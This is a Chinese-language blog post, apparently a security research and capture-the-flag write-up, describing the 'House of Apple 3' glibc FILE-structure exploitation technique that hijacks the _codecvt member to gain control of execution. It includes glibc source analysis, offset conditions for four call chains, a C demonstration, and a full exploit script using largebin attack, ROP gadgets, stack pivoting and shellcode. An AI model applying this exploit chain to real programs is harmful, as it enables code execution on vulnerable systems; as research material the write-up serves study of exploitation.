House of Apple 一种新的glibc中IO攻击方法 (3)

本文首发于看雪论坛,仅在个人博客记录

分享一系列新的glibcIO利用思路,暂且命名为house of apple。 这篇是house of apple3。 本站的house of apple系列文章的地址为:

前言

之前提出了一种新的IO利用方法 house of apple,并已经发布了house of apple1house of apple2,其中house of apple1中的利用链能任意地址写堆地址,house of apple2中的利用链能通过控制FILE结构体的_wide_data成员去直接控制程序执行流。本篇是house of apple系列的第三篇,继续给出基于FILE->_wide_data的有关利用技巧(利用链仍然与FILE->_wide_data操作有一点相关)。

前两篇文章中的利用链主要关注_wide_data成员,而本篇文章并不会特别关注_wide_data,而是关注FILE结构体的另外一个成员_codecvt的利用。

本篇的house of apple3同样会给出几条新的IO利用链,在劫持FILE->_codecvt的基础上,直接控制程序执行流。

关于前置知识点击 house of apple1进行查看。

文章中的fp为一个FILE类型的指针,以下分析均基于amd64程序。

利用条件

使用house of apple3的条件为:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_codecvt,一般使用largebin attack去控制

注意: 上面提到,本篇文章并不会特别关注_wide_data成员,这是因为_wide_data设置不当的话会影响某些利用链的分支走向。但是,如果采用默认的_wide_data成员(默认会指向_IO_wide_data_2,除了_wide_vtable外其他成员均默认为0),也并不影响house of apple3的利用。

因此,如果能伪造整个FILE结构体,则需要设置合适的_wide_data;如果只能伪部分FILE的成员的话,保持fp->_wide_data为默认地址即可。

利用原理

FILE结构体中有一个成员struct _IO_codecvt *_codecvt;,偏移为0x98。该结构体参与宽字符的转换工作,结构体被定义为:

1
2
3
4
5
6
// libio\libio.h:115
struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

可以看到,__cd_in__cd_out是同一种类型的数据。往下拆,结构体_IO_iconv_t被定义为:

1
2
3
4
5
6
// libio\libio.h:51
typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

继续拆,来看struct __gconv_step

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// iconv\gconv.h:84
/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;// 关注这个成员
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;// 关注这个成员
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;

  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;

  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;

  void *__data;		/* Pointer to step-local data.  */
};

然后来看struct __gconv_step_data结构体:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Additional data for steps in use of conversion descriptor.  This is
   allocated by the `init' function.  */
struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
				 buffer.  */

  /* Is this the last module in the chain.  */
  int __flags;

  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;

  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;

  __mbstate_t *__statep;
  __mbstate_t __state;	/* This element must not be used directly by
			   any module; always use STATEP!  */
};

以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误。

house of apple3的利用主要关注以下三个函数:__libio_codecvt_out__libio_codecvt_in__libio_codecvt_length。三个函数的利用点都差不多,以__libio_codecvt_in为例,源码分析如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;
  // gs 源自第一个参数
  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;

  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  // 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
  // 这里如果可控,设置为NULL即可绕过解密
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif
  // 这里有函数指针调用
  // 这个宏就是调用fct(gs, ...)
  status = DL_CALL_FCT (fct,
			(gs, &codecvt->__cd_in.step_data, &from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &dummy, 0, 0));
       // ......
}

其中,__gconv_fctDL_CALL_FCT被定义为:

1
2
3
4
5
6
7
8
/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
			    const unsigned char **, const unsigned char *,
			    unsigned char **, size_t *, int, int);

#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

而在_IO_wfile_underflow函数中调用了__libio_codecvt_in,代码片段如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */

  // 不能进入这个分支
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  // 需要进入这个分支
  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
	fp->_wide_data->_IO_buf_base;
    // 需要一路调用到这里
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
				   fp->_IO_read_ptr, fp->_IO_read_end,
				   &read_stop,
				   fp->_wide_data->_IO_read_ptr,
				   fp->_wide_data->_IO_buf_end,
				   &fp->_wide_data->_IO_read_end);
           // ......
    }
}

_IO_wfile_underflow又是_IO_wfile_jumps这个_IO_jump_t类型变量的成员函数。

分析到这里,利用原理就呼之欲出了:劫持或者伪造FILE结构体的fp->vtable_IO_wfile_jumpsfp->_codecvt为可控堆地址,当程序执行IO操作时,控制程序执行流走到_IO_wfile_underflow,设置好fp->codecvt->__cd_in结构体,使得最终调用到__libio_codecvt_in中的DL_CALL_FCT宏,伪造函数指针,进而控制程序执行流。

注意,在伪造过程中,可以设置gs->__shlib_handle == NULL,从而绕过__pointer_guard的指针调用保护。

基于该利用思路,编写demo验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);

    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
    *(size_t *)stderr2 = 0;

    puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
    *(size_t *)(stderr2 + 0x10) = (size_t)-1;
 
    puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
 
    puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
    *(size_t *)(stderr2 + 0x98) = (size_t)p1;

    puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
    *(size_t *)p1 = (size_t)p2;

    puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
    *(size_t *)(p2 + 0x28) = (size_t)(&backdoor);

    puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);

}

输出如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[*] allocate two 0x200 chunks
[*] puts address: 0x7f3b2d0a2420
[*] libc base address: 0x7f3b2d01e000
[*] _IO_2_1_stderr_ address: 0x7f3b2d20b5c0
[*] _IO_wfile_jumps address: 0x7f3b2d206f60
[+] step 1: set stderr->_flags to ~(4 | 0x10))
[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end
[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40
[+] step 4: set stderr->codecvt with the allocated chunk p1
[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2
[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct
[+] step 7: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

img

利用思路

目前在glibc源码中搜索到的__libio_codecvt_in/__libio_codecvt_out/__libio_codecvt_length的调用链比较多,这里给出我总结的几条比较好利用的链。

利用_IO_wfile_underflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(4 | 0x10)
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_underflow即可
  • fp->_IO_read_ptr < fp->_IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链如下:

1
2
3
4
5
_IO_wfile_underflow
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)

此链的详细分析见上述的利用原理部分。

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下:

  • _flags设置为~4
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为非0,即满足*(A + 0x30) != 0
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链如下:

1
2
3
4
5
_IO_wfile_underflow_mmap
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)

详细分析如下: 看_IO_wfile_underflow_mmap函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  // 最好不要进入这个分支
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;

  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;

  // 最好不要进入这个分支
  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
	{
	  free (fp->_wide_data->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
  fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
  fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
    
    // 需要调用到这里 
  __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
		      fp->_IO_read_ptr, fp->_IO_read_end,
		      &read_stop,
		      fp->_wide_data->_IO_read_ptr,
		      fp->_wide_data->_IO_buf_end,
		      &fp->_wide_data->_IO_read_end);
    //......
}

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base != NULL不进入调用。

利用_IO_wdo_write函数控制程序执行流

_IO_wdo_write的调用点很多,这里我选择一个相对简单的链:

1
2
3
_IO_new_file_sync
    _IO_do_flush
      _IO_wdo_write

fp的设置如下:

  • vtable设置为_IO_file_jumps/地址(加减偏移),使其能成功调用_IO_new_file_sync即可
  • _IO_write_ptr > _IO_write_base,即满足*(fp + 0x28) > *(fp + 0x20)
  • _mode > 0,即满足(fp + 0xc0) > 0
  • _IO_write_end != _IO_write_ptr或者_IO_write_end == _IO_write_base,即满足*(fp + 0x30) != *(fp + 0x28)或者*(fp + 0x30) == *(fp + 0x20)
  • _wide_data设置为堆地址,假设地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_ptr >= _wide_data->_IO_write_base,即满足*(A + 0x20) >= *(A + 0x18)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_out.step设置为可控堆地址C,即满足*(B + 0x38) = C
  • codecvt->__cd_out.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_out.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链如下:

1
2
3
4
5
6
7
_IO_new_file_sync
    _IO_do_flush
        _IO_wdo_write
          __libio_codecvt_out
              DL_CALL_FCT
                  gs = fp->_codecvt->__cd_out.step
                  *(gs->__fct)(gs)

详细分析如下: 首先看_IO_new_file_sync函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;

  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;//调用到这里
    //......
}

只需要满足fp->_IO_write_ptr > fp->_IO_write_base

然后看_IO_do_flush宏:

1
2
3
4
5
6
7
#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0							      \
   ? _IO_do_write(_f, (_f)->_IO_write_base,				      \
		  (_f)->_IO_write_ptr-(_f)->_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,		      \
		   ((_f)->_wide_data->_IO_write_ptr			      \
		    - (_f)->_wide_data->_IO_write_base)))

根据fp->_mode的值选择调用_IO_do_write或者_IO_wdo_write。这里我们要调用后者,必须使fp->_mode > 0。此时的第二个参数为fp->_wide_data->_IO_write_base,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base

接着看_IO_wdo_write

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
  struct _IO_codecvt *cc = fp->_codecvt;

  // 第三个参数必须要大于0
  if (to_do > 0)
    {
      if (fp->_IO_write_end == fp->_IO_write_ptr
	  && fp->_IO_write_end != fp->_IO_write_base)
	{// 不能进入这个分支
	  if (_IO_new_do_write (fp, fp->_IO_write_base,
				fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
	    return WEOF;
	}

  // ......

	  /* Now convert from the internal format into the external buffer.  */
    // 需要调用到这里
	  result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
					data, data + to_do, &new_data,
					write_ptr,
					buf_end,
					&write_ptr);
          //......
  }
}

首先to_do必须要大于0,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base

这个链基本需要控制fp->_wide_data,相比上两条链的约束条件要更多一点。

使用_IO_wfile_sync函数控制程序执行流

fp的设置如下:

  • _flags设置为~(4 | 0x10)
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_sync即可
  • _wide_data设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_ptr <= _wide_data->_IO_write_base,即满足*(A + 0x20) <= *(A + 0x18)
  • _wide_data->_IO_read_ptr != _wide_data->_IO_read_end,即满足*A != *(A + 8)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__stateful设置为非0,即满足*(B + 0x58) != 0
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果rsi&codecvt->__cd_in.step_data可控。

函数的调用链如下:

1
2
3
4
5
_IO_wfile_sync
    __libio_codecvt_length
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)

详细分析如下: 直接看_IO_wfile_sync函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
wint_t
_IO_wfile_sync (FILE *fp)
{
  ssize_t delta;
  wint_t retval = 0;

  /*    char* ptr = cur_ptr(); */
  // 不要进入这个分支
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if (_IO_do_flush (fp))
      return WEOF;
  delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end;
  // 需要进入到这个分支
  if (delta != 0)
    {
      /* We have to find out how many bytes we have to go back in the
	 external buffer.  */
      struct _IO_codecvt *cv = fp->_codecvt;
      off64_t new_pos;

      // 这里直接返回-1即可
      int clen = __libio_codecvt_encoding (cv);

      if (clen > 0)
	/* It is easy, a fixed number of input bytes are used for each
	   wide character.  */
	delta *= clen;
      else
	{
	  /* We have to find out the hard way how much to back off.
	     To do this we determine how much input we needed to
	     generate the wide characters up to the current reading
	     position.  */
	  int nread;
	  size_t wnread = (fp->_wide_data->_IO_read_ptr
			   - fp->_wide_data->_IO_read_base);
	  fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state;
    // 调用到这里
	  nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state,
					  fp->_IO_read_base,
					  fp->_IO_read_end, wnread);
            // ......

  }
    }
}

需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_basefp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0

然后看下__libio_codecvt_encoding函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
int
__libio_codecvt_encoding (struct _IO_codecvt *codecvt)
{
  /* See whether the encoding is stateful.  */
  if (codecvt->__cd_in.step->__stateful)
    return -1;
  /* Fortunately not.  Now determine the input bytes for the conversion
     necessary for each wide character.  */
  if (codecvt->__cd_in.step->__min_needed_from
      != codecvt->__cd_in.step->__max_needed_from)
    /* Not a constant value.  */
    return 0;

  return codecvt->__cd_in.step->__min_needed_from;
}

直接设置fp->codecvt->__cd_in.step->__stateful != 0即可返回-1

例题分析

依旧以 house of apple1 中的pwn_oneday为例。

程序的详细分析仍然不在此赘述。这里展示使用_IO_wfile_underflow这条链做rop,然后使用orw读取flag

largebin attack攻击_IO_list_all之后,伪造_IO_FILE结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
_IO_wide_data_2 = libc.sym._IO_wide_data_2

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = 0
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = _IO_wide_data_2 # 设置为默认
f1._codecvt = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps + 8 # call _IO_wfile_underflow

然后借助几个gadgets中转一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 0x13d56a: mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10]; 
mov_rax_from_rdi = libc_base + 0x13d56a
# 0x56530: mov rsp, rdx; ret; 
mov_rsp_from_rdx_ret = libc_base + 0x56530
# 0x142434: mov rdi, qword ptr [rax]; mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10];
mov_rdi_from_rax = libc_base +0x142434
# 0x146020: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
mov_rdx_from_rdi = libc_base + 0x146020

add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449

所以最后的exp为:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
 
from pwncli import *
 
cli_script()
 
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
small = 1
medium = 2
large = 3
key = 10
 
def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))
 
def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))
 
def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))
 
def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2
 
def bye():
    sla("enter your command: \n", "9")
 
 
sla("enter your key >>\n", str(key))
 
add(medium)
add(medium)
add(small)
 
dele(2)
dele(1)
dele(0)
 
add(small)
add(small)
add(small)
add(small)
 
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
 
dele(4)
dele(6)
 
add(large)
add(small)
add(small)
 
dele(8)
add(large)
 
target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
_IO_wide_data_2 = libc.sym._IO_wide_data_2

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = 0
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = _IO_wide_data_2 # 设置为默认
f1._codecvt = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps + 8 # call _IO_wfile_underflow

# 0x13d56a: mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10]; 
mov_rax_from_rdi = libc_base + 0x13d56a
# 0x56530: mov rsp, rdx; ret; 
mov_rsp_from_rdx_ret = libc_base + 0x56530
# 0x142434: mov rdi, qword ptr [rax]; mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10];
mov_rdi_from_rax = libc_base +0x142434
# 0x146020: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
mov_rdx_from_rdi = libc_base + 0x146020

add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729

data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0xe0: fake_IO_FILE + 0x100,
            0x100: { # fp->_codecvt->__cd_in.step
                0: 0, # fp->_codecvt->__cd_in.step->__shlib_handle
                0x28: mov_rax_from_rdi, # fp->_codecvt->__cd_in.step->__fct
                0x38: fake_IO_FILE + 0x140
            },
            0x140: { # rax1
                0: fake_IO_FILE + 0x180, # rdi1
                0x10: mov_rdi_from_rax
            },
            0x180: { # rdi2
                0x8: fake_IO_FILE + 0x1c0, # rdx
                0x10: mov_rdx_from_rdi,
                0x38: fake_IO_FILE + 0x180, # rax2
            },
            0x1c0: {
                0: add_rsp_0x20_pop_rbx_ret,
                0x20: mov_rsp_from_rdx_ret,
                0x30: [
                    pop_rdi_ret,
                    heap_base,
                    pop_rsi_ret,
                    0x10000,
                    pop_rdx_rbx_ret,
                    7, 0,
                    libc.sym.mprotect,
                    fake_IO_FILE + 0x280
                ]
            },
            0x280: ShellcodeMall.amd64.cat_flag
        },
        0xa80: [0, 0xab1]
    }
})

read_once(5, data)
 
dele(2)
add(large)
 
bye()
 
ia()

调试如下: 通过exit执行到_IO_wfile_underflow,然后执行到__libio_codecvt_inimg

执行到布置好的gadgetimg

成功栈迁移: img

输出flagimg

总结

house of apple1house of apple2主要关注对_IO_FILE->_wide_data成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。而本文提出的house of apple3利用链则攻击_IO_FILE另一个关注甚少的成员_codecvt

可以看到,fp->_codecvt->__cd_in.step中也存储着函数指针,并且在劫持_codecvt的时候可以使得函数指针调用绕过__pointer_guard的保护,因此,可以利用该漏洞进行FSOP

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%